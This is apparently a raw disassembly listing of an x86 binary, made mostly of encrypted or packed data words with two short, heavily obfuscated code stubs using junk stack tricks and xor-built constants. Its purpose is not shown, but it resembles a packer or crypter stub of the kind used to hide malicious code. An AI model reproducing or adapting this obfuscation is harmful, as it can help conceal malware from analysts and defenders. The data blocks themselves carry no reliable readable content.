dd 0C20F8054h, 875A49A3h, 0FAF27A9Dh, 0D7CC7664h, 0B48747A2h
dd 0A6D67F0Dh, 0E5CF680Fh, 9CA7329Fh, 0B27C5F43h, 0B606A92Ch
dd 816F1F1Fh, 439CAF10h, 0CF6E9A5Bh, 5FEE8F28h, 0B5A99332h
dd 4Ah, 8A820A19h, 0A69444F4h, 49A3F235h, 59CAB880h, 0A449A3F2h
dd 4630D1h, 47A3017Eh, 0BD40D6A9h, 4432DEFFh, 439C9CD3h
dd 85E24B1Eh, 162F1946h, 9CB6DD4Ah, 19270A43h, 0B5FBFED7h
dd 10CDC1Fh, 5B040000h, 4CE58C2Bh, 7C259662h, 0CBCCB64Fh
dd 0B666FC9Bh, 0A3F257C8h, 0ECDAA249h, 49A3F27Bh, 6852F3C6h
dd 0FC95C84Fh, 79ECE55h, 0EA9D960h, 0F222CB79h, 0FBA23565h
dd 811AC162h, 0EF285197h, 0ACDC49A3h, 26008319h, 618269Fh
dd 27A19700h, 95073DC5h, 0CDFDA4ABh, 62EA933Ah, 7B24D46Ah
dd 0F21FAE49h, 35236953h, 7247A255h, 4563D4C2h, 0DBAE439Ch
dd 436F7F1h, 913AD071h, 841DC45Fh, 42CA939Ah, 2C95305Ch
dd 37A09340h, 0B046E785h, 945632C2h, 10A67941h, 51C2B060h
dd 9C3D9246h
dd 0ABDEDFC9h, 0A8DB841Ah, 1889770Dh, 633D9246h, 0F19FA690h
dd 0DA811C48h, 23565741h, 7452BC92h, 71A0F07Fh, 289F0h
dd 20B5E600h, 1DB8E48Bh, 18B3E188h, 14ADDC83h, 0CA5D87Fh
dd 9C4DC77h, 0FFA63BD6h, 0F79E33D2h, 0F69D32C5h, 0CD9A2FC6h
dd 0B100715Fh, 344B4396h, 7AF92C62h, 780EAF4Eh, 989CB6F5h
dd 745ECCB6h, 0FF96C66Dh, 0A225F86Ah, 0E3BC479Ch, 1E412B4Bh
dd 1A089E96h, 47A23C98h, 402A32B5h, 6752BF8Eh, 9B0837Dh
dd 9C50D03Dh, 4CE51443h, 5AEB1EA5h, 3E0843B3h, 0AB7558FEh
dd 0B661B025h, 0B22A1Fh, 2C8E0000h, 23D369FCh, 0A3F2C435h
dd 523C0F49h, 0E67FB239h, 0EE4A733Fh, 0CEFE49A3h, 0EDE35442h
dd 662E49A3h, 0A3ED0778h, 0DE7F5249h, 0D1FEA73Dh, 0AF48D34h
dd 992C5C03h, 0C9C149F2h, 0CE574533h, 0CFA247A2h, 0F1E9713Ah
dd 23C86D5Bh, 0B0834195h, 0A33E711Ah, 0B334670Eh, 0BB42E984h
dd 0C150F18Ch, 0B44DF48Fh, 7CD3D13h, 635F07Eh, 19985h
dd 30C5F600h, 2DC8F49Bh, 28C3F198h, 24BDEC93h, 1CB5E88Fh
dd 19D4EC87h, 0FB64BE6h, 7AE43E2h, 6AD42D5h, 0DDAA3FD6h
dd 0B010816Fh, 445B4396h, 0A0F92C72h, 6422783Ah, 760BAC56h
dd 0E71A9FCFh, 0A618AD4Eh, 0CD82A225h, 315F9DC6h, 30995469h
dd 0C7B1AC81h, 58FF96C6h, 7106A1D1h, 922820A8h, 0D34432E2h
dd 1E49A31Dh, 111B614Bh, 3E47A1FAh, 0D35B73BBh, 7963DE3Bh
dd 6D16AC7Fh, 65FEA540h, 9ACA737Bh, 8FBF66FBh, 0C4B262F8h
dd 439CDB53h, 4265E0BDh, 0EB730A2Bh, 6C152E18h, 6856ECE4h
dd 41915ED9h, 0F96A5820h, 443D8F4Dh, 84FAD071h, 0FEF07A7Ch
dd 0E04ECFh, 0C3D0000h, 113DE479h, 0C3AE176h, 635DC71h
dd 0FC2FD66Bh, 2139D469h, 0DA23366h, 79C3966h, 0FE932E60h
dd 0FB902757h, 61D2C02Eh, 0AC4396B0h, 820AC395h, 0CF06F48Ah
dd 664798D9h, 0B9134DCBh, 0BAED48B3h, 3EE58627h, 5BF087B7h
dd 5BF184B4h, 701F86B2h, 74C5D61Eh, 10A950F1h, 241B8C7Ah
dd 93664396h, 23C490A9h, 8A6FDD3Ah, 48F829F7h, 0B708E95Ah
dd 0F861340Dh, 5A52CC5Ah, 0DBDCC6B5h, 0F3760CABh, 0F259CBEDh
dd 2B321C5Dh, 6EDFCD7Dh, 0B90DB74Bh, 0F16250E6h, 3C0DB74Ah
dd 4E7E7F69h, 4C7821B7h, 20AEC7B1h, 43E5039Dh, 917B4653h
dd 21C86190h, 8D10C0B6h, 71C219A0h, 58C99DDDh, 0A30DB76Bh
dd 0BD8BE6D0h, 2FC46393h, 27BD5888h, 6B188977h, 90630DB7h
dd 30C8DA6h, 82000000h, 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h
dd 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h
dd 57830AB1h, 506711B8h, 0BB53E089h, 97C20D2h, 3D8BC381h
dd 0EB81305Fh, 12824DB0h, 10A9EB81h, 0D8012759h, 4E8835Bh
dd 5C240487h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
db 14h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push esi
push 12D03D75h
pop esi
push ebp
mov ebp, 27CB6579h
shr ebp, 3
or ebp, 36026F0Dh
neg ebp
sub ebp, 0B4277921h
xor esi, ebp
pop ebp
mov edx, esi
pop esi
push 892h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
sub esp, 4
mov [esp], edx
pop dword ptr [ecx+8]
push dword ptr [esp]
pop ecx
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_544543
; ---------------------------------------------------------------------------
db 12h, 0EEh, 0F0h
dd 0F4B8F6EFh, 3060D43h, 85C650C5h, 60709CDh, 17256847h
dd 0B5FFCF38h, 607059Dh, 3963858Dh, 0D0FF0607h, 858DD88Bh
dd 60723ADh, 1046850h, 0D3FF0000h, 9CD85C6h, 68530607h
dd 8307F8BFh, 59DB5FFh, 858D0607h, 6073963h, 8589D0FFh
dd 60D2826h, 3335BD83h, 0F000607h, 0B84h, 959D8B00h, 0E906072Fh
dd 5, 0BBh, 1006800h, 0B58D0000h, 60D282Ah, 95FF5356h
dd 6072B21h, 282AB58Dh, 0F003060Dh, 1E9h, 3E804E00h, 9840F5Ch
dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h, 0D282A85h
dd 95FF5006h, 60D2826h, 0FDE0FF58h, 4625BCFAh, 0AA093C56h
dd 0B774C2E1h, 63B9B40h, 655F4BF8h, 6F5A96EEh, 640C1F27h
dd 0B15CEA42h, 720C2A54h, 0BD0C12DEh, 0F5693EF2h, 0FB1C7BA5h
dd 7E40E003h, 1326FA34h, 336634E0h, 0E2446AA1h, 0EB12CC10h
dd 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch, 88006C6Ch
dd 34074621h, 0D4A3D25Dh, 64D6DFh, 0
dd 0E9000000h, 6BEh, 0D471368h, 37BDE906h, 0D968FFFAh
dd 0E9060D47h, 0FFFA37B3h, 0D487568h, 37A9E906h, 3868FFFAh
dd 0E9060D49h, 0FFFA379Fh, 0D4A2A68h, 3795E906h, 0FC68FFFAh
dd 0E9060D4Ah, 0FFFA378Bh, 0CE630233h, 0C75CFB27h, 0C257F220h
dd 0BC51EC1Bh, 0BA4FE215h, 194C071Fh, 1F4CF388h, 184AF186h
dd 1141E87Dh, 0A614E176h, 96AD47B8h, 0A97B9243h, 2D32h
dd 0FC2CA800h, 0FC2AD369h, 0B821BA61h, 84C49A64h, 0C9E2CCA6h
dd 55851242h, 0E1821BC2h, 0D3F3604Ch, 53749A3h, 333DC72h
dd 3A24BD64h, 820AC133h, 0F236A795h, 0AE8149A3h, 0AC53F21Fh
dd 0EEDC7213h, 47A2FE40h, 0F9A2380Bh, 0F18A31CCh, 0B522EE07h
dd 0E2439CDDh, 26AF31FFh, 0B41FB5D5h, 243h, 9F0633DCh
dd 8F13AD33h, 37DE7F3Eh, 25E8B49Eh, 0CFB94C7Ch, 159D23E0h
dd 2ED7871Dh, 347A6401h, 47A2F98Ah, 1E8F7D45h, 69439CE9h
dd 35DC75A8h, 0D35AFB9Ch, 0B24209C7h, 0B038B7Fh, 79ACC75h
dd 7927151Dh, 447D6D4Dh, 432DB71h, 3F29C269h, 0C1EF9826h
dd 91193C26h, 0A0150399h, 0BB77615Dh, 79A952E8h, 97C548DEh
dd 0A7EDF7B6h, 8A383F29h, 2913AEE1h, 416FF828h, 472F05A6h
dd 0C32A2969h, 4C01394h, 0E8190000h, 0E511B84Dh, 0E00EB54Ah
dd 0DA09B045h, 0D003AA3Fh, 0ED05A035h, 0D166FF32h, 0CB60FD2Ah
dd 0CA5FF224h, 0BF54F323h, 259684F2h, 704396ABh, 0FC2C8759h
dd 3523D369h, 49A3F2C4h, 39523C0Fh, 9F480890h, 38D30109h
dd 9F3377CFh, 147A68FEh, 4F47A22Ch, 9039E77Ch, 0F1E0CA63h
dd 2E26AE12h, 2300AA98h, 20BB419Bh, 0E55A33F2h, 0A3C02979h
dd 231A2353h, 0D0DC6304h, 0D519CBFCh, 0D46A62EAh, 0C44D7B24h
dd 0BC55FC95h, 0F1DB741Bh, 0F6A6FDABh, 4EF5C8A2h, 4371DA5h
dd 8A3AD071h, 2E18B3E1h, 0EAB673E8h, 0D5F38E9Ch, 441DC1A5h
dd 650EA445h, 660DA235h, 0FB84B136h, 0EC8D2EC9h, 0D3755416h
dd 0B637664Ch, 3FAh, 0EE832253h, 0E77C1B47h, 0E2771240h
dd 0DC710C3Bh, 0DA6F0235h, 396C273Fh, 3F6C13A8h, 386A11A6h
dd 3161089Dh, 0C6340196h, 96AB67D8h, 0C99BB243h, 0C269FC2Ch
dd 3999119h, 0A3033315h, 0F68B5E47h, 17ADA52Dh, 58C9B767h
dd 0A3439CD3h, 0CDA0E6D0h, 0E441920Dh, 90345449h, 831CC35Eh
dd 0D3EE5B1Ah, 0C3F39C32h, 38E18F24h, 8788720Bh, 8B19C057h
dd 1EE52E08h, 85B7F679h, 11B24BF2h, 967C0427h, 1242D164h
dd 9233CC73h, 0A0440EFCh, 2CFF3B8Eh, 75A78A56h, 800130EEh
dd 35Eh, 5AEF86B7h, 53E887B3h, 4EE37EACh, 48DD78A7h, 3ED36EA1h
dd 9DD08BA3h, 9BC86F04h, 94C66D02h, 95C56C01h, 32A06D02h
dd 96AAD344h, 35071E43h, 0C269FC2Ch, 3999119h, 0B8C47E80h
dd 0AD46ED88h, 874A0744h, 7A68F9E6h, 8F791A52h, 223B9987h
dd 936647A2h, 1B55DFEh, 3ED30000h, 0F4EC74CAh, 0F8C6705Eh
dd 0AE8147A2h, 91EE1B27h, 890B0C0h, 0B68C7A10h, 0C34C5EF3h
dd 0E3B42513h, 0C6F84858h, 63EB842Bh, 0D9ACA690h, 41018932h
dd 80D95B71h, 7B11B255h, 5253188Dh, 0CA603346h, 6E58F321h
dd 1806B666h, 424DB2A7h, 64FF31F2h, 998324BDh, 38CD6898h
dd 0F0C66191h, 0FB38B41Ah, 9BF071A0h, 0F4000002h, 0F69D32C3h
dd 0EF962BCAh, 0EA9126C1h, 0E68D22BBh, 0F28D22B3h, 59EC1FDAh
dd 55F01DC4h, 4CE719C0h, 45E010B7h, 8775E3B0h, 4396A916h
dd 2C784A61h, 50D369FCh, 76AAC02h, 849D871Fh, 841F4DF6h
dd 9C8F00EEh, 7DA49A3h, 7A72FA1Dh, 7F90F6E4h, 0F8CB47A2h
dd 0A339CE63h, 0DD8D231Bh, 0AE893A5Ah, 0CEB8FE90h, 9B78DE88h
dd 30C69941h, 15BC5B87h, 0CB99927Ch, 0AC53F222h, 13E32913h
dd 0B1C2F610h, 189B3129h, 96A397C3h, 0D26B9A88h, 7F1922Bh
dd 79A64FFFh, 0B29C35DCh, 0B1FC966Ch, 37DEB1ACh, 780E068Eh
dd 416845C8h, 72331EEAh, 0DACD4288h, 2ADAA6A5h, 0A13ACB3Ch
dd 604E16A2h, 0A2A139EFh, 0DCC6673Ah, 0C9790FE2h, 3ABA2B19h
dd 3205A2A1h, 0A139ED5Eh, 477738A2h, 0CF7009B0h, 434DDE5h
dd 535DC71h, 4C309C72h, 0D3025B6Ch, 1A952h, 34D10200h
dd 31CCF89Fh, 2CC7F59Ch, 28C1F097h, 28B9EC93h, 25E0F893h
dd 23CA5FF2h, 1BC257F6h, 12B94EE9h, 0E1AE43E2h, 0A8148573h
dd 485F4396h, 69FC2C76h, 6DFA2AD3h, 65FEA540h, 6B0635C4h
dd 28412BC4h, 0E211F77Fh, 6607A047h, 300E2D0h, 741D47A3h
dd 0CCC6B041h, 25F264F9h, 12B94C7Ch, 22BBEA79h, 0D5F8E27Bh
dd 3CBF554Dh, 0EDA0DE40h, 434B3594h, 984D4455h, 26BC8F47h
dd 25BA4D7Dh, 10B74E7Eh, 51E7DF67h, 35DC75A8h, 0BCAAB29Ch
dd 418B07E1h, 0F69F3508h, 0F39A2FC6h, 0B8E24C3h, 551D4829h
dd 0BAD3BD43h, 0FB918911h, 0D875A24Bh, 0DE77AA31h, 13FD9E37h
dd 87341FCDh, 633DC3Bh, 0FAAD867h, 82582B25h, 0EE4C4B40h
dd 0D772F322h, 30000000h, 2AD166FFh, 23CA5FFEh, 1EC55AF5h
dd 1AC156EFh, 1EB94EE7h, 7D184B06h, 791441E8h, 780B3DE4h
dd 790C3CE3h, 0BBA917E4h, 4396A84Ah, 0AAC7E95h, 6F48A82h
dd 47992CFDh, 37BE6538h, 0B8558207h, 41D77811h, 0B94E55BEh
dd 331D9BF5h, 0D455852Ch, 0CF680FA2h, 50F9872Eh, 36A79523h
dd 81439669h, 0DD230DAEh, 24E0F674h, 3BE27BA8h, 46ED88B4h
dd 0F721EF82h, 0C18D2EC9h, 7F2FE02Eh, 0BAD62091h, 0AE986BE0h
dd 55EA7DADh, 0C7F97EAEh, 5DE48B2Ch, 3FB09E2Eh, 8AE0BAD6h
dd 0E86F16B7h, 0F27920B9h, 0D18229C4h, 9B0E0E18h, 0AA53C452h
dd 87F8E67Ah, 0D2E0BAD6h, 73745EFFh, 680FA443h, 5E079D38h
dd 94AD972Eh, 0D13h, 71A44D00h, 892AC3F2h, 935F49E2h, 0FB2C7C5Eh
dd 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h
dd 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h, 4A27h, 50241C89h
dd 405E089h, 2D000000h, 4, 5C240487h, 57243489h, 0C781E789h
dd 4, 8704EF83h, 895C243Ch, 0B951240Ch, 60D45F9h, 0C8BCE89h
dd 4C48324h, 240C8B54h, 5604C483h, 5FBBB53h, 5C295A7Ch
dd 8F5B0424h, 41810841h, 7C05FB08h, 2434FF5Ah, 4C48359h
dd 5024348Bh, 405E089h, 83000000h, 48704C0h, 14E95C24h
dd 33FFFA31h, 97D6F9D4h, 0D61584AEh, 0F8B8875Bh, 3060D4Bh
dd 0C9E0FFC5h, 212B529Eh, 5545CAD5h, 8A02E6A9h, 70738992h
dd 597995E7h, 44221CD0h, 273675E0h, 893282A2h, 2C2716C7h
dd 0CC2B9118h, 0C76C81F1h, 435DB4DAh, 0F914836Dh, 9B7EEFDBh
dd 89075E1Fh, 1853E9A3h, 0C68242Ch, 0BE7DFC8Dh, 154EEC63h
dd 886EC2A6h, 0E86D1ED0h, 12h, 3F65967Fh, 49A6F1E9h, 553F41C4h
dd 495006B8h, 8B66FBDEh, 0C3815BD3h, 6369h, 0A977F6B9h
dd 4BE98117h, 5117A95Fh, 60038B5Eh, 0F6E88166h, 0C08161C7h
dd 3BCC74CDh, 81F9BF0Fh, 35D151C0h, 815E504Fh, 3CD05CF0h
dd 6E9507Dh, 3F000000h, 5C2CB905h, 0F038F13h, 0E85h, 9E900h
dd 8B750000h, 41893242h, 83CD950Ah, 0BE801EBh, 0EA000000h
dd 0F9EC0A6Eh, 7C6157FEh, 0DE806045h, 4B4B5E02h, 71DA804Bh
dd 20850F49h, 60000000h, 0F8F6E9B9h, 26E96144h, 56000000h
dd 12C9BD1Eh, 0FF9BD78Ah, 7D4C7475h, 0E4FCB186h, 667D5A5Eh
dd 0EDE9DA81h, 0FFFF70E9h, 0BF2DF4FFh, 8BD511BFh, 8EBE2h
dd 0B2000000h, 0E9255AF9h, 47Ch, 0D4E9868h, 2FCDE906h
dd 1568FFFAh, 0E9060D4Fh, 0FFFA2FC3h, 0D50A068h, 2FB9E906h
dd 3061FFFAh, 2D590095h, 2856FD92h, 2251F88Dh, 184BF287h
dd 354DE87Dh, 19AE477Ah, 13A84572h, 12A73A6Ch, 79C3B6Bh
dd 6DDECC3Ah, 0B84396A5h, 0F92CCFA1h, 0A3AC168h, 0FE2CD56Bh
dd 0A9727963h, 0A5932921h, 47A2F76Fh, 0C490370Ah, 439CE657h
dd 26CD689Bh, 33DA6D9Fh, 7EBE88C3h, 0F62BF5D8h, 6C530A73h
dd 0F2DC2A34h, 0B5DB3C99h, 2E79E1Fh, 3E020000h, 0FEF67EC0h
dd 0F8D07A68h, 0B88B47A2h, 2EF2531h, 0F97CB87Ah, 2346DA64h
dd 5E816BD3h, 9848DED6h, 9DAFAD15h, 0F8E25B38h, 361AD8B2h
dd 7920F344h, 7A1342EBh, 2D503AD3h, 0F392BFA5h, 7C12B34Ch
dd 2F11428Eh, 0A036093Eh, 9B30C7F7h, 5B31C4F4h, 0F315EEABh
dd 0EA57D807h, 94000002h, 963DD263h, 8F36CB6Ah, 8A31C661h
dd 862DC25Bh, 922DC253h, 0F98CBF7Ah, 0F590BD64h, 0EC87B960h
dd 0E580B057h, 27158350h, 4396A4B6h, 0A18EA01h, 6F48A82h
dd 479934F9h, 0AF55B336h, 5C6932C1h, 0FA57872h, 0E777878Ch
dd 7E685E2Eh, 0EA1DC676h, 2D17B057h, 0D368F92Ch, 0C168F92Ch
dd 0FCDC3DF5h, 1243C6B9h, 861F4E32h, 0C930611Dh, 17AEDEDFh
dd 63584F41h, 0B8CBBFAh, 26Dh, 0BA4FE617h, 0B348E713h
dd 0AE43DE0Ch, 0A83DD807h, 9E33CE01h, 0FD30EB03h, 0FB28CF64h
dd 0F426CD62h, 0F525CC61h, 9200CD62h, 96A333A4h, 95677E43h
dd 0FAD3A225h, 87D2D773h, 0FAF27A9Dh, 88697664h, 0F3B44798h
dd 0E67F26C1h, 65D29E45h, 924395F8h, 0B061AFh, 95F8A112h
dd 2F19EC43h, 0BCB5FFD6h, 1A7DD1Fh, 2C410000h, 23D369FCh
dd 8BB4CBA0h, 360AA744h, 49A316C5h, 3A533D10h, 4FE483B3h
dd 7006FE86h, 4DE817C0h, 2C731D63h, 772047A2h, 6D06AD48h
dd 0FB68983h, 72E3D181h, 0BD439BFBh, 4DBA00EAh, 7A439BFBh
dd 0E49067EAh, 52E42636h, 0BD030D68h, 1FB61918h, 40D305AEh
dd 22160099h, 47h, 0C2820A86h, 0D4EF1E67h, 0C7F3825Dh
dd 41F18728h, 4B32A391h, 0AA7D49A3h, 59F87AC0h, 882347A2h
dd 0C05BE5EBh, 0A64DEE33h, 9C606DDAh, 69B79A43h, 0E8135B8h
dd 3D8F03F1h, 0E9D3740Fh, 0B6864590h, 0CF971Fh, 2CFB0000h
dd 3BC269FCh, 54D76D08h, 3020B2B0h, 0DDF6E03Eh, 72A12656h
dd 88F36D7h, 0BCA83DD8h, 49A34825h, 5DF285B5h, 0A011FFAFh
dd 0A49A347h, 927C230Ch, 7F52DAD4h, 0F2EA7295h, 0ADE46E5Ch
dd 4C1F479Bh, 685606B6h, 43999CF7h, 84856F42h, 7D2BC051h
dd 9D6EDFCDh, 0E6B94399h, 327837Dh, 0EFD9AC85h, 0E3CBBEEh
dd 503ECC73h, 4399DCDFh, 27B6572Ah, 0E6BC5DF8h, 0FA64EA0Ah
dd 0E20081B0h, 8C000000h, 8E35CA5Bh, 872EC362h, 8229BE59h
dd 7E25BA53h, 8A25BA4Bh, 0F184B772h, 0ED88B55Ch, 0E47FB158h
dd 0DD78A84Fh, 1F0D7B48h, 4396A2AEh, 2C10E2F9h, 25D368F9h
dd 0FB64F7Ch, 0E43784AEh, 0A74830D0h, 318CBCBDh, 0AA568EF4h
dd 0B045E68Fh, 69FC2C3Eh, 0E7B134C2h, 8F0F4F65h, 1C4C4D37h
dd 0A32BF489h, 532715ABh, 6A47A241h, 25580197h, 9E0BF78Ch
dd 0E2439BB1h, 0D77E13B2h, 0E96A11A4h, 61h, 8A820A5Fh
dd 34F506F4h, 7F404799h, 7912B94Ch, 7AAA31D8h, 6F9F46DBh
dd 0E46531D8h, 0CB666509h, 1040EE38h, 939E075h, 1140C76Eh
dd 0A3CF588Ah, 23C45D04h, 0D9CD6DBAh, 46E77CA7h, 8E3E349Fh
dd 3F6A2FA0h, 0BDA77A20h, 3A6AD462h, 2F5F069Bh, 0A70F198h
dd 0E6000000h, 0B64F7C25h, 0BD8C760Fh, 6AFB2CDBh, 790C3CC3h
dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h
dd 0B14C7A01h, 0B857830Ah, 89506711h, 405E0h, 0E8830000h
dd 24043304h, 33240431h, 815C2404h, 4ECh, 242C8900h, 71F568h
dd 240C8900h, 0D4DCB68h, 7A685D06h, 8900003Ah, 4812424h
dd 424h, 0FF685900h, 89000065h, 2C81242Ch, 0C3318924h
dd 8418F70h, 89084181h, 0FF70C331h, 81592434h, 4C4h, 242C8B00h
dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FA2B66E9h, 0E402BAFFh
dd 3729F714h, 0C16E83EEh, 0D51A7B8h, 0FFC50306h, 0B45904E0h
dd 0F5D41118h, 0D460AC5Dh, 9DFA4712h, 439B356Eh, 6D5BE303h
dd 0DBE3E15Ch, 7DDEE244h, 623DA201h, 1161BE32h, 74E05338h
dd 0BE3A6851h, 0CC76072Fh, 71F61800h, 9DAB2A2Bh, 9C2D5A74h
dd 0D326212Fh, 0CBFC006Ch, 0AAA49D49h, 93AE5E18h, 0F142D136h
dd 5E854h, 0F2CF0000h, 0F19EC2Ah, 1480h, 0FE900h, 21080000h
dd 3B795266h, 7742EE94h, 143C73C6h, 816658EFh, 81E988DFh
dd 6E69C0h, 0E38A6000h, 0BE9h, 12EE6400h, 4B5C0429h, 0F0DB92C3h
dd 6861h, 8E90000h, 8C000000h, 0CEBE5755h, 5E55CF79h, 30148BFCh
dd 10E9h, 9B5DBF00h, 0C49C56EDh, 1F24A56Ah, 2792972Ah
dd 56EA81F7h, 0E929EC79h, 10h, 0F6E08E8Fh, 24752FEBh, 2E63DAEFh
dd 74422DC9h, 502BF281h, 0F28171EFh, 663B4A90h, 0EE952F8h
dd 0F1000000h, 1458D0E6h, 0F4E4E2DBh, 0B901716Ch, 30048FE0h
dd 3820Fh, 0B70F0000h, 19850FDEh, 0E8000000h, 0Dh, 0FA3E268h
dd 0E5D74489h, 19B88E57h, 850FDBh, 5F000000h, 8B04EE83h
dd 90FE81FEh, 0FFFFF92h, 0C85h, 0E929B700h, 13h, 0AB19A824h
dd 0FF5FE943h, 0DFE7FFFFh, 5BD3C0BDh, 8DCD5562h, 0D545C8Dh
dd 0EEC68106h, 8974A815h, 71AD98Dh, 6890F06h, 29000000h
dd 713E985h, 1D85C706h, 0F4060710h, 6A000058h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 65B2C350h, 49155953h, 38F0F69h, 0F000000h, 85C7DBB7h
dd 6073305h, 0
dd 0B830Fh, 6E90000h, 16000000h, 1D28AAC1h, 0E9B5FFE5h
dd 6A06070Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 0BBDEC356h, 80AD1DE0h, 0F38162F8h
dd 66E19C3h, 95FFDE8Ah, 6071859h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0A6C35040h, 0D71C02Bh, 0BE716B6Eh
dd 51E967Dh, 95FF006Ah, 6070D69h, 5EEBC08Bh, 30EB0133h
dd 0EF95BCE9h, 0E27FE905h, 0D4D36B60h, 2D8A9059h, 993A3745h
dd 346AED67h, 1DB4AC10h, 0E20F9619h, 0DF9E0A10h, 72709DEAh
dd 9433ED66h, 4B423A86h, 0CCF9BAB9h, 8A155062h, 19D1BE30h
dd 67FCFA12h, 0B614C5D6h, 0CC96C448h, 0FCB21931h, 7D6A2CFFh
dd 96771284h, 0C549D92Dh, 8D8DF19Dh, 60D5571h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E1C35242h, 0D518B8D7h
dd 1AD98D89h, 0F08B0607h, 10919533h, 85C70607h, 607101Dh
dd 6A50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 22C35343h, 0F1116333h, 330585C7h, 607h, 800F0000h
dd 6, 2C818D29h, 0B5FF0607h, 6072639h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0C4C35141h, 0F2E313Bh, 30005E6Ah
dd 5995FF94h, 89060718h, 70F05BDh, 0FF006A06h, 70D6995h
dd 0EBC08B06h, 0C496EC4Ch, 0E53BD8D4h, 96550573h, 0DD41733h
dd 0B1DDE93h, 0CEB65265h, 0B834B2C1h, 7CCEC4Fh, 0FDFA98Ch
dd 0D2FA7095h, 5009B593h, 6FA035F2h, 9C3BC1E9h, 0A76E317Bh
dd 3EA4D530h, 5BE87E2Eh, 0F19B81A1h, 0E9E007C0h, 5D8A204Ch
dd 3EE853F8h, 32565DB1h, 1EEACF2h, 325655F2h, 3256ABB1h
dd 0B42AD5B1h, 9BB8EAE8h, 325675EBh, 3256BAB1h, 32565DB1h
dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
dd 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h, 325457B6h
dd 3246ABA9h, 3279D587h, 3256E9C8h, 325677F6h, 0F27DB8F6h
dd 32565DA0h, 2AAD2444h, 0F68101C0h, 225491Ch, 6E99FB18h
dd 6006BAD4h, 600627E1h, 6A0C8BBEh, 60066CBEh, 6A0C9FBEh
dd 3590FEBh, 6006F9E1h, 6A0CE4BEh, 5336DBBEh, 6A0C2DEBh
dd 3256BA27h, 0D144C0C5h, 0D083751h, 693C02BDh, 34C5F3EBh
dd 0B456D5B1h, 20CB9EF6h, 62677A52h, 6867B5E3h, 3D0E07E9h
dd 32594780h, 0CA0D57B1h, 96619D60h, 228517BCh, 0E79E4B8h
dd 0A00E2F74h, 560BAB1h, 0E1945015h, 6A0CCF2Ch, 3D73C726h
dd 32504280h, 0B590D5B1h, 11043705h, 3592DEBh, 3256AE58h
dd 98C311B1h, 4447962Ah, 301BB3C6h, 7C1FFBA2h, 6853A9DEh
dd 0BB0EB03Ah, 625251F5h, 8B30DAE3h, 60066E08h, 6A0C9FBEh
dd 626758D0h, 3D37CBE3h, 32443C80h, 0C134EAB1h, 7DF85C01h
dd 59EC5F6Dh, 75D03C79h, 0D14433C5h, 6A0C0FEBh, 359F2E9h
dd 0C670710Eh, 530EB0CAh, 66F175E9h, 0F215484Ch, 0DEC96348h
dd 320ECF04h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 0DA36EAB1h
dd 325675B1h, 0B3BC3BEBh, 0BF5050E9h, 3EE81334h, 0E5D4DEB7h
dd 0BF50A6E4h, 3FB4FA33h, 0E9D463B7h, 0DA5078E4h, 3256B3FFh
dd 32562659h, 0F5D469B1h, 32505AE4h, 6056ABB1h, 3B9B5077h
dd 5A00ECB6h, 0AEFECDE3h, 3FCF0F4Eh, 0B7DB5BB6h, 345CDE89h
dd 0B7DF874Eh, 3451A428h, 323ED1DBh, 5A56EAA1h, 325578F1h
dd 0E2A9BADBh, 469656EBh, 0F5D42782h, 0BB505AE4h, 3F036033h
dd 3F166CB7h, 0CADDEAB2h, 98A5B582h, 5A52D0E3h, 32564DB1h
dd 3252AED9h, 0CD563DB1h, 35593223h, 0B0DF8FB7h, 345BBCAAh
dd 0F5D3FED0h, 0F150B7E4h, 3FD49AD1h, 3250A9B6h, 0F55617B1h
dd 35779633h, 3246D5B7h, 52958BB1h, 6791CF3Ah, 0DD5BCBCh
dd 0B17529B1h, 4654BECEh, 2229D4BAh, 0B158DFB5h, 0D8BDC176h
